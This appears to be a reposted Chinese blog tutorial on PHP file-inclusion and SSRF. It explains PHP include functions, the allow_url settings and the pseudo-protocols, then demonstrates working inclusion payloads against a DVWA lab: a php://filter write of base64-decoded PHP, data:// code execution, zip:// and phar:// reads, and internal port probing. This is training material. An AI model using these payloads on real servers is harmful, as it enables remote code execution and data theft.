SSRF之文件包含

php文件包含相关的函数

include()、include_once()、require()、require_once()
它们的函数作用是:语句包含并运行指定文件
highlight_file()、show_source()
函数对文件进行高亮显示
readfile()
输出文件,读取文件并写入到输出缓冲
file_get_contents()
将整个文件读入到一个字符串
fopen()
将filename指定的名字资源绑定到一个流上
file()
把整个文件读入一个数组
file_put_contents()
将字符写入一个文件

环境

allow_url_fopen :on 默认开启 该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。
allow_url_include:off 默认关闭,远程文件包含需要

获取shell

通过上传一个木马文件,非动态后缀文件即可,然后包含于它即可运行

php伪协议

http(s)

访问一个网址
受allow_url_fopen的影响
受allow_url_include的影响

file://

访问本地文件系统,当指定了一个相对路径(不以/、\、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。
不受allow_url_fopen的影响

php://

访问各个输入/输出流
php://stdin 是只读
php://stdout和php://stderr是只写
php://input 是可以访问请求的原始数据的只读流, enctype="multipart/form-data" 的时候 php://input 是无效的。
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。
...
不受allow_url_fopen影响
php://input受allow_url_include影响

zlib:// bzip2:// zip://

不受allow_url_fopen影响
压缩流

data://

数据
受allow_url_fopen影响
受allow_url_include影响

glob://

查找匹配的文件路径模式
不受allow_url_fopen影响
不受allow_url_include影响

phar://

php归档
不受allow_url_fopen影响
不受allow_url_include影响
...(详细参考php官网)

dvwa环境实验


看看代码:

file://

绝对路径


调用phpinfo


把1.txt放入上级目录


相对路径失败

php协议

php://filter

用法参考:https://www.cnblogs.com/natian-ws/p/7242477.html
ctf:https://blog.csdn.net/itmincherry/article/details/96166423


php://filter/read

php://filter/write
源码:

http://192.168.1.172/include.php?file=php://filter/write/convert.base64-decode/resource=1.php&c=PD9waHAgcGhwaW5mbygpOz8+
这里+没有经过url编码,所以

http://192.168.1.172/include.php?file=php://filter/write/convert.base64-decode/resource=1.php&c=PD9waHAgcGhwaW5mbygpOz8%2B
经过了Url编码

php://input

需要开启allow_url_include
学习链接:http://www.nowamagic.net/academy/detail/12220520
源码:
写入phpinfo()

zip://,bzip2://,zlib://,phar://

读取压缩文件中的内容
准备好文件:


相对路径:
http://192.168.1.172/dvwa/vulnerabilities/fi/?page=zip://../../hackable/uploads/phpinfo.zip%23phpinfo.txt

http://192.168.1.172/dvwa/vulnerabilities/fi/?page=zip://C:/phpstudy/www/dvwa/hackable/uploads/phpinfo.zip%23phpinfo.txt

这里说明一下bzip2和zlib的用法

phar://
http://192.168.1.172/dvwa/vulnerabilities/fi/?page=phar://../../hackable/uploads/phpinfo.zip/phpinfo.txt

http(s)

探测内网端口
开放端口


未开放端口

data://

用法:data://text/plain,base64,base64编码内容
data://text/plain,正常内容
http://192.168.1.172/dvwa/vulnerabilities/fi/?page=data://text/plain,<?php phpinfo();?>

http://192.168.1.172/dvwa/vulnerabilities/fi/?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

猜你喜欢

转载自www.cnblogs.com/lyxsalyd/p/12594797.html